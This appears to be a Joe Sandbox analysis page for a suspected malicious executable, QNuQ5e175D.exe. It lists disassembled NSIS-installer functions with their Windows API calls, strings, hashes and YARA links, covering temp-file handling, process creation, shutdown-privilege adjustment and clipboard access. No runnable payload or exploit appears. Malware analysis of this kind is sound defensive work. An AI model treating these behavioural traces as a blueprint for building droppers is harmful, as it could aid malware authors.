Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: b896d6fd3cda69cb85c158c7a33f171d68b8f81fed19edc6c2f6f75b2124ada4
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: 64F0F631104418FFC702DFA5DD00D9EBBA8EF45350B2200B9E841FB250D674DE11AB68

Analysis Process: QNuQ5e175D.exePID: 7988, Parent PID: 7644COMMON

Non-executed Functions

Function 00403552 Relevance: 72.2, APIs: 32, Strings: 9, Instructions: 464stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00403575
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 004035A0
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 004035B3
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040364C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403689
OleInitialize.OLE32(00000000), ref: 00403690
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 004036AF
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036C4
CharNextW.USER32(00000000,0043F000,00000020,0043F000,00000000,?,00000008,0000000A,0000000C), ref: 004036FD
GetTempPathW.KERNEL32(00000400,00441800,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403835
GetWindowsDirectoryW.KERNEL32(00441800,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(00441800,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403852
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403866
lstrcatW.KERNEL32(00441800,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040386E
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387F
SetEnvironmentVariableW.KERNEL32(TMP,00441800,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403887
DeleteFileW.KERNEL32(00441000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040389B
lstrlenW.KERNEL32(00441800,0043F000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403974

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

wsprintfW.USER32 ref: 004039D1
GetFileAttributesW.KERNEL32(00437800,00441800), ref: 00403A04
DeleteFileW.KERNEL32(00437800), ref: 00403A10
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 00403A3E

Part of subcall function 00406337: MoveFileExW.KERNEL32(?,?,00000005,00405E35,?,00000000,000000F1,?,?,?,?,?), ref: 00406341

CopyFileW.KERNEL32(00442800,00437800,00000001,00441800,00000000), ref: 00403A54

Part of subcall function 00405B5A: CreateProcessW.KERNEL32(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

Part of subcall function 004068D4: FindFirstFileW.KERNEL32(?,0042FAB8,0042F270,00405F97,0042F270,0042F270,00000000,0042F270,0042F270, 4ou,?,00441800,00405CA3,?,756F3420,00441800), ref: 004068DF
Part of subcall function 004068D4: FindClose.KERNEL32(00000000), ref: 004068EB

OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AA2
ExitProcess.KERNEL32 ref: 00403ABF
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AC6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AE2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AE9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AFE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B21
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B46
ExitProcess.KERNEL32 ref: 00403B69

Part of subcall function 00405B25: CreateDirectoryW.KERNEL32(?,00000000,00403545,00441800,00441800,00441800,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B

Strings

Low, xrefs: 00403868
NSIS Error, xrefs: 004036B5
UXTHEME, xrefs: 00403640, 00403645, 0040364B
SeShutdownPrivilege, xrefs: 00403AF8
\Temp, xrefs: 0040384C
Error launching installer, xrefs: 0040391D
TEMP, xrefs: 0040387A
TMP, xrefs: 00403882
~nsu%X.tmp, xrefs: 004039C8

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$Process$CloseDirectoryExit$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 1813718867-2779336553
Opcode ID: bbfb8ee3b373486c2b96c0f4544b3db19e0e60a46ad8d454647acdf6da7e114b
Instruction ID: 854c728f01c0035939758d15b123b9002cb8995d15bf2fdbd915a0a46deb4321
Opcode Fuzzy Hash: bbfb8ee3b373486c2b96c0f4544b3db19e0e60a46ad8d454647acdf6da7e114b
Instruction Fuzzy Hash: 6DF1F470604301ABD320AF659D05B6B7EE8EB8570AF10483FF581B22D1DB7DDA458B6E

Function 00405C83 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,756F3420,00441800,0043F000), ref: 00405CAC
lstrcatW.KERNEL32(0042EA70,\*.*,0042EA70,?,?,756F3420,00441800,0043F000), ref: 00405CF4
lstrcatW.KERNEL32(?,0040A014,?,0042EA70,?,?,756F3420,00441800,0043F000), ref: 00405D17
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,756F3420,00441800,0043F000), ref: 00405D1D
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,756F3420,00441800,0043F000), ref: 00405D2D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DCD
FindClose.KERNEL32(00000000), ref: 00405DDC

Strings

pB, xrefs: 00405CDC
\*.*, xrefs: 00405CEE

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*$pB
API String ID: 2035342205-1006940126
Opcode ID: 22bb0f4a0285bec378f517b8b25bc548c1454a96ed25189fc1485adbf29640f7
Instruction ID: 26a84cf893ecfac7fe2d2a8ab9ced37764d13583991ceadb599b2dfedf858990
Opcode Fuzzy Hash: 22bb0f4a0285bec378f517b8b25bc548c1454a96ed25189fc1485adbf29640f7
Instruction Fuzzy Hash: 8E41B030800A18B6CB21AB65DC4DAAF7778EF42718F10813BF851711D1DB7C4A82DEAE

Function 0040573B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405799
GetDlgItem.USER32(?,000003EE), ref: 004057A8
GetClientRect.USER32(?,?), ref: 004057E5
GetSystemMetrics.USER32(00000002), ref: 004057EC
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040580D
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040581E
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405831
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040583F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405852
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405874
ShowWindow.USER32(?,00000008), ref: 00405888
GetDlgItem.USER32(?,000003EC), ref: 004058A9
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004058B9
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058D2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058DE
GetDlgItem.USER32(?,000003F8), ref: 004057B7

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539

GetDlgItem.USER32(?,000003EC), ref: 004058FB
CreateThread.KERNEL32(00000000,00000000,Function_000056CF,00000000), ref: 00405909
CloseHandle.KERNEL32(00000000), ref: 00405910
ShowWindow.USER32(00000000), ref: 00405934
ShowWindow.USER32(?,00000008), ref: 00405939
ShowWindow.USER32(00000008), ref: 00405983
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004059B7
CreatePopupMenu.USER32 ref: 004059C8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059DC
GetWindowRect.USER32(?,?), ref: 004059FC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405A15
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A4D
OpenClipboard.USER32(00000000), ref: 00405A5D
EmptyClipboard.USER32 ref: 00405A63
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A6F
GlobalLock.KERNEL32(00000000), ref: 00405A79
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A8D
GlobalUnlock.KERNEL32(00000000), ref: 00405AAD
SetClipboardData.USER32(0000000D,00000000), ref: 00405AB8
CloseClipboard.USER32 ref: 00405ABE

Strings

{, xrefs: 004059A1

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: dfead9bfc37cf3db2b35e915a87c725964709008a4f247d6999fb4be6a1ac7a0
Instruction ID: d3b07f9c2581fb6b60ef1a2666babd9f8dcdaaa8066b0d43d813b8afd8e95190
Opcode Fuzzy Hash: dfead9bfc37cf3db2b35e915a87c725964709008a4f247d6999fb4be6a1ac7a0
Instruction Fuzzy Hash: 03B159B0900608FFDF11AF60DD89AAE7B79FB48355F00813AFA45BA1A0C7785A51DF58

Function 00404F63 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F7B
GetDlgItem.USER32(?,00000408), ref: 00404F86
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FD0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FE7
SetWindowLongW.USER32(?,000000FC,00405570), ref: 00405000
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00405014
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405026
SendMessageW.USER32(?,00001109,00000002), ref: 0040503C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405048
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040505A
DeleteObject.GDI32(00000000), ref: 0040505D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405088
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405094
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040512F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040515F

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405173
GetWindowLongW.USER32(?,000000F0), ref: 004051A1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004051AF
ShowWindow.USER32(?,00000005), ref: 004051BF
SendMessageW.USER32(?,00000419,00000000,?), ref: 004052BA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040531F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405334
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405358
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405378
ImageList_Destroy.COMCTL32(?), ref: 0040538D
GlobalFree.KERNEL32(?), ref: 0040539D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405416
SendMessageW.USER32(?,00001102,?,?), ref: 004054BF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054CE
InvalidateRect.USER32(?,00000000,00000001), ref: 004054F9
ShowWindow.USER32(?,00000000), ref: 00405547
GetDlgItem.USER32(?,000003FE), ref: 00405552
ShowWindow.USER32(00000000), ref: 00405559

Strings

M, xrefs: 00405117
, xrefs: 00405531
N, xrefs: 004051F8

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction ID: 2b71226c2ce540754c325362a134889399d6c5c4637dca841463e5b600fa6882
Opcode Fuzzy Hash: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction Fuzzy Hash: 8802AD70900608AFDF20DFA8DD85AAF7BB5FB45314F10817AE611BA2E1D7798A41CF58

Function 00403FF7 Relevance: 51.4, APIs: 34, Instructions: 357windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404033
ShowWindow.USER32(?), ref: 00404053
GetWindowLongW.USER32(?,000000F0), ref: 00404065
ShowWindow.USER32(?,00000004), ref: 0040407E
DestroyWindow.USER32 ref: 00404092
SetWindowLongW.USER32(?,00000000,00000000), ref: 004040AB
GetDlgItem.USER32(?,?), ref: 004040CA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040DE
IsWindowEnabled.USER32(00000000), ref: 004040E5
GetDlgItem.USER32(?,00000001), ref: 00404190
GetDlgItem.USER32(?,00000002), ref: 0040419A
SetClassLongW.USER32(?,000000F2,?), ref: 004041B4
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404205
GetDlgItem.USER32(?,00000003), ref: 004042AB
ShowWindow.USER32(00000000,?), ref: 004042CC
EnableWindow.USER32(?,?), ref: 004042DE
EnableWindow.USER32(?,?), ref: 004042F9
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040430F
EnableMenuItem.USER32(00000000), ref: 00404316
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040432E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404341
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040436B
SetWindowTextW.USER32(?,0042CA68), ref: 0040437F
ShowWindow.USER32(?,0000000A), ref: 004044B3

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction ID: 8cad316efbf8f9c89f6feec2797fb874042f4abab253e3557332251604c97906
Opcode Fuzzy Hash: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction Fuzzy Hash: C6C1A1B1500204BBDB206F61EE89E2B3AA8FB85755F01453EF751B51F0CB39A8529B2D

Function 00403C49 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040696B: GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
Part of subcall function 0040696B: GetProcAddress.KERNEL32(00000000,?), ref: 00406998

lstrcatW.KERNEL32(00441000,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,756F3420,00441800,00000000,0043F000,00008001), ref: 00403CCA
lstrlenW.KERNEL32(004326A0,?,?,?,004326A0,00000000,0043F800,00441000,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,756F3420), ref: 00403D4A
lstrcmpiW.KERNEL32(00432698,.exe,004326A0,?,?,?,004326A0,00000000,0043F800,00441000,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D5D
GetFileAttributesW.KERNEL32(004326A0), ref: 00403D68
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403DB1

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

RegisterClassW.USER32(004336A0), ref: 00403DEE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403E06
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E3B
ShowWindow.USER32(00000005,00000000), ref: 00403E71
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E9D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403EAA
RegisterClassW.USER32(004336A0), ref: 00403EB3
DialogBoxParamW.USER32(?,00000000,00403FF7,00000000), ref: 00403ED2

Strings

RichEdit, xrefs: 00403EA4
RichEdit20W, xrefs: 00403E95, 00403E9B
.exe, xrefs: 00403D57
RichEd20, xrefs: 00403E77
.DEFAULT\Control Panel\International, xrefs: 00403CB5
_Nb, xrefs: 00403DCD, 00403E35
RichEd32, xrefs: 00403E85
Control Panel\Desktop\ResourceLocale, xrefs: 00403C7D

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction ID: c722afd28cb3ad108a11d8546cd61d6ece1c23d3a169ae69e987cf65e7f86a01
Opcode Fuzzy Hash: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction Fuzzy Hash: 7961C370500700BED620AF66AD46F2B3A6CEB85B5AF40053FF945B22E2DB7C5941CA6D

Function 004046B5 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404753
GetDlgItem.USER32(?,000003E8), ref: 00404767
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404784
GetSysColor.USER32(?), ref: 00404795
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004047A3
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004047B1
lstrlenW.KERNEL32(?), ref: 004047B6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047C3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047D8
GetDlgItem.USER32(?,0000040A), ref: 00404831
SendMessageW.USER32(00000000), ref: 00404838
GetDlgItem.USER32(?,000003E8), ref: 00404863
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004048A6
LoadCursorW.USER32(00000000,00007F02), ref: 004048B4
SetCursor.USER32(00000000), ref: 004048B7
LoadCursorW.USER32(00000000,00007F00), ref: 004048D0
SetCursor.USER32(00000000), ref: 004048D3
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404902
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404914

Strings

N, xrefs: 00404851
,F@, xrefs: 004048BF

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: ,F@$N
API String ID: 3103080414-1819947528
Opcode ID: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction ID: ccb0ec9a7d9d767aff215416cd1a2e620de701fb5c4a8d8609e67ea5798c0c5e
Opcode Fuzzy Hash: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction Fuzzy Hash: 046192F1900209BFDB10AF64DD85EAA7B69FB84315F00853AFB05B65E0C778A951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Function 004061BD Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406358,?,?), ref: 004061F8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 00406201

Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 0040621E
wsprintfA.USER32 ref: 0040623C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406277
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406286
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004062BE
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 00406314
GlobalFree.KERNEL32(00000000), ref: 00406325
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040632C

Part of subcall function 00406067: GetFileAttributesW.KERNEL32(00000003,004030E2,00442800,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D

Strings

%ls=%ls, xrefs: 00406232
[Rename], xrefs: 004062A6, 004062B8

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
